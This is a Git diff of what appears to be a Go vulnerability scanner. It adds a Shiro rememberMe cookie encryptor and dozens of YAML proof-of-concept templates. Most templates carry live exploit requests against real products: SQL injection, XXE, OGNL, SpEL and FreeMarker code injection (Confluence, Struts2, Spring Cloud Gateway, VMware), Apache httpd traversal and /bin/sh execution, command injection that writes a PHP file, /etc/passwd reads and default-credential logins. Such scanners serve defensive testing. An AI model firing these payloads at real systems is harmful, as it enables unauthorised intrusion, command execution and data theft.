var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
+73
View File
@@ -0,0 +1,73 @@
package lib
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io"
uuid "github.com/satori/go.uuid"
)
var (
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
)
func Padding(plainText []byte, blockSize int) []byte {
//计算要填充的长度
n := (blockSize - len(plainText)%blockSize)
//对原来的明文填充n个n
temp := bytes.Repeat([]byte{byte(n)}, n)
plainText = append(plainText, temp...)
return plainText
}
func GetShrioCookie(key, mode string) string {
if mode == "gcm" {
return AES_GCM_Encrypt(key)
} else {
//cbc
return AES_CBC_Encrypt(key)
}
}
//AES CBC加密后的payload
func AES_CBC_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
Content = Padding(Content, block.BlockSize())
iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象
cipherText := make([]byte, len(Content))
blockMode.CryptBlocks(cipherText, Content) //加密数据
return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
}
//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
func AES_GCM_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
nonce := make([]byte, 16)
_, err = io.ReadFull(rand.Reader, nonce)
if err != nil {
return ""
}
aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
}
+16
View File
@@ -0,0 +1,16 @@
name: poc-yaml-74cms-sqli-1
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
headers:
Content-Type: 'text/xml'
body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
follow_redirects: false
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: betta(https://github.com/betta-cyber)
links:
- https://www.uedbox.com/post/29340
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-74cms-sqli-2
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: rexus
links:
- https://www.uedbox.com/post/30019/
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-74cms-sqli
rules:
- method: GET
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
expression: |
response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
detail:
author: jinqi
links:
- https://www.t00ls.net/articles-54436.html
@@ -0,0 +1,11 @@
name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
rules:
- method: GET
path: /jbossmq-httpil/HTTPServerILServlet
expression: |
response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
detail:
author: mamba
description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
+44
View File
@@ -0,0 +1,44 @@
name: Spring-Cloud-CVE-2022-22947
set:
router: randomLowercase(8)
rand1: randomInt(800000000, 1000000000)
rand2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
body: |
{
"id": "{{router}}",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
expression: response.status == 201
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
- method: GET
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
- method: DELETE
path: /actuator/gateway/routes/{{router}}
expression: response.status == 200
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
detail:
author: jweny
description: Spring Cloud Gateway Code Injection
links:
- https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
@@ -0,0 +1,11 @@
name: poc-yaml-CVE-2022-22954-VMware-RCE
rules:
- method: GET
path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
expression: |
response.status == 400 && "device id:".bmatches(response.body)
detail:
author: mamba
description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
+16
View File
@@ -0,0 +1,16 @@
name: Confluence-CVE-2022-26134
rules:
- method: GET
path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
detail:
author: zan8in
description: |
Atlassian Confluence OGNL注入漏洞
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
app="ATLASSIAN-Confluence"
links:
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
- https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
@@ -0,0 +1,12 @@
name: Hotel-Internet-Manage-RCE
rules:
- method: GET
path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
detail:
author: test
Affected Version: "Hotel Internet Billing & Operation Support System"
links:
- http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
@@ -0,0 +1,31 @@
name: poc-yaml-struts2-062-cve-2021-31805-rce
rules:
- method: POST
path: /
headers:
Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
Cache-Control: 'max-age=0'
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
body: "\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
Content-Disposition: form-data; name=\"id\"\r\n\r\n\
%{\r\n\
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
}\r\n\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
"
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Jaky
links:
- https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
@@ -0,0 +1,11 @@
name: poc-yaml-active-directory-certsrv-detect
rules:
- method: GET
path: /certsrv/certrqad.asp
follow_redirects: false
expression: |
response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
detail:
author: AgeloVito
links:
- https://www.cnblogs.com/EasonJim/p/6859345.html
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-airflow-unauth
rules:
- method: GET
path: /admin/
expression: |
response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- http://airflow.apache.org/
@@ -0,0 +1,19 @@
name: poc-yaml-alibaba-canal-default-password
rules:
- method: POST
path: /api/v1/user/login
expression: |
response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
- method: POST
path: /api/v1/user/login
headers:
Content-Type: application/json
body: >-
{"username":"admin","password":"123456"}
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
detail:
author: jweny(https://github.com/jweny)
links:
- https://www.cnblogs.com/xiexiandong/p/12888582.html
-15
View File
@@ -1,15 +0,0 @@
name: poc-yaml-alibaba-nacos-api-unauth
rules:
- method: GET
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
headers:
User-Agent: Nacos-Server
follow_redirects: true
expression: |
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
detail:
author: AgeloVito
info: alibaba-nacos-api-unauth
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424
@@ -0,0 +1,27 @@
name: poc-yaml-alibaba-nacos-v1-auth-bypass
set:
r1: randomLowercase(16)
r2: randomLowercase(16)
rules:
- method: POST
path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("create user ok!"))
- method: GET
path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes(r1))
- method: DELETE
path: "/nacos/v1/auth/users?username={{r1}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
detail:
author: kmahyyg(https://github.com/kmahyyg)
links:
- https://github.com/alibaba/nacos/issues/4593
@@ -0,0 +1,18 @@
name: poc-yaml-amtt-hiboss-server-ping-rce
set:
r2: randomLowercase(10)
rules:
- method: GET
path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5({{r2}});unlink(__FILE__);?>">../../{{r2}}.php&id=1
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
- method: GET
path: /{{r2}}.php
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(r2)))
detail:
author: YekkoY
description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
@@ -0,0 +1,11 @@
name: poc-yaml-apache-ambari-default-password
rules:
- method: GET
path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
@@ -0,0 +1,25 @@
name: poc-yaml-apache-axis-webservice-detect
sets:
path:
- services
- servlet/AxisaxiServlet
- servlet/AxisServlet
- services/listServices
- services/FreeMarkerService
- services/AdminService
- axis/services
- axis2/services
- axis/servlet/AxisServlet
- axis2/servlet/AxisServlet
- axis2/services/listServices
- axis/services/FreeMarkerService
- axis/services/AdminService
rules:
- method: GET
path: /{{path}}
expression: |
response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
detail:
author: AgeloVito
links:
- https://paper.seebug.org/1489
@@ -0,0 +1,24 @@
name: poc-yaml-apache-druid-cve-2021-36749
manual: true
transport: http
groups:
druid1:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
druid2:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
+2 -4
View File
@@ -7,8 +7,7 @@ rules:
path: /jars
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"address") && response.body.bcontains(b"files")
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
- method: POST
path: /jars/upload
headers:
@@ -23,8 +22,7 @@ rules:
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
search: >-
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- method: DELETE
@@ -0,0 +1,12 @@
name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
manual: true
transport: http
rules:
- method: GET
path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
follow_redirects: false
expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
detail:
author: Jarcis-cy(https://github.com/Jarcis-cy)
links:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
@@ -0,0 +1,16 @@
name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
groups:
cgibin:
- method: GET
path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
icons:
- method: GET
path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: JingLing(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
@@ -0,0 +1,14 @@
name: poc-yaml-apache-httpd-cve-2021-41773-rce
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
body: echo;expr {{r1}} + {{r2}}
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
@@ -0,0 +1,10 @@
name: poc-yaml-apache-kylin-unauth-cve-2020-13937
rules:
- method: GET
path: /kylin/api/admin/config
expression: |
response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
detail:
author: JingLing(github.com/shmilylty)
links:
- https://s.tencent.com/research/bsafe/1156.html
@@ -0,0 +1,12 @@
name: poc-yaml-apache-nifi-api-unauthorized-access
manual: true
transport: http
rules:
- method: GET
path: /nifi-api/flow/current-user
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
@@ -1,4 +1,4 @@
name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
rules:
- method: POST
path: /webtools/control/xmlrpc
@@ -8,8 +8,8 @@ rules:
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: >
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
@@ -11,7 +11,7 @@ rules:
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
-21
View File
@@ -1,21 +0,0 @@
name: poc-yaml-apache-solr-file-read
rules:
- method: GET
path: "/solr/admin/cores?indexInfo=false&wt=json"
search: |
"name":"(?P<core_name>.+?)",
expression:
response.status == 200
- method: POST
path: "/solr/{{core_name}}/config"
headers:
Content-type: application/json
body: |
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
expression: |
response.status == 200 && response.body.bcontains(b"This")
detail:
author: flyinbed
links:
- "https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg"
- "https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ"
+16
View File
@@ -0,0 +1,16 @@
name: poc-yaml-aspcms-backend-leak
rules:
- method: GET
path: /plug/oem/AspCms_OEMFun.asp
expression: |
response.status == 200 && "<script>alert".bmatches(response.body) && "top.location.href='(.*?)';".bmatches(response.body)
search: >-
(?P<path>(/(.*?).asp))
- method: GET
path: /{{path}}
expression: |
response.status == 200 && response.body.bcontains(b"username")
detail:
author: Hzllaga
links:
- https://www.onebug.org/wooyundata/65458.html
+64
View File
@@ -0,0 +1,64 @@
name: poc-yaml-backup-file
set:
host: request.url.domain
sets:
path:
- "sql"
- "www"
- "wwwroot"
- "index"
- "backup"
- "back"
- "data"
- "web"
- "db"
- "database"
- "ftp"
- "admin"
- "upload"
- "package"
- "sql"
- "old"
- "test"
- "root"
- "beifen"
- host
ext:
- "zip"
- "7z"
- "rar"
- "gz"
- "tar.gz"
- "db"
- "bak"
rules:
- method: GET
path: /{{path}}.{{ext}}
follow_redirects: false
continue: true
expression: |
response.content_type.contains("application/") &&
(response.body.startsWith("377ABCAF271C".hexdecode()) ||
response.body.startsWith("314159265359".hexdecode()) ||
response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
response.body.startsWith("1f8b".hexdecode()) ||
response.body.startsWith("526172211A0700".hexdecode()) ||
response.body.startsWith("FD377A585A0000".hexdecode()) ||
response.body.startsWith("1F9D".hexdecode()) ||
response.body.startsWith("1FA0".hexdecode()) ||
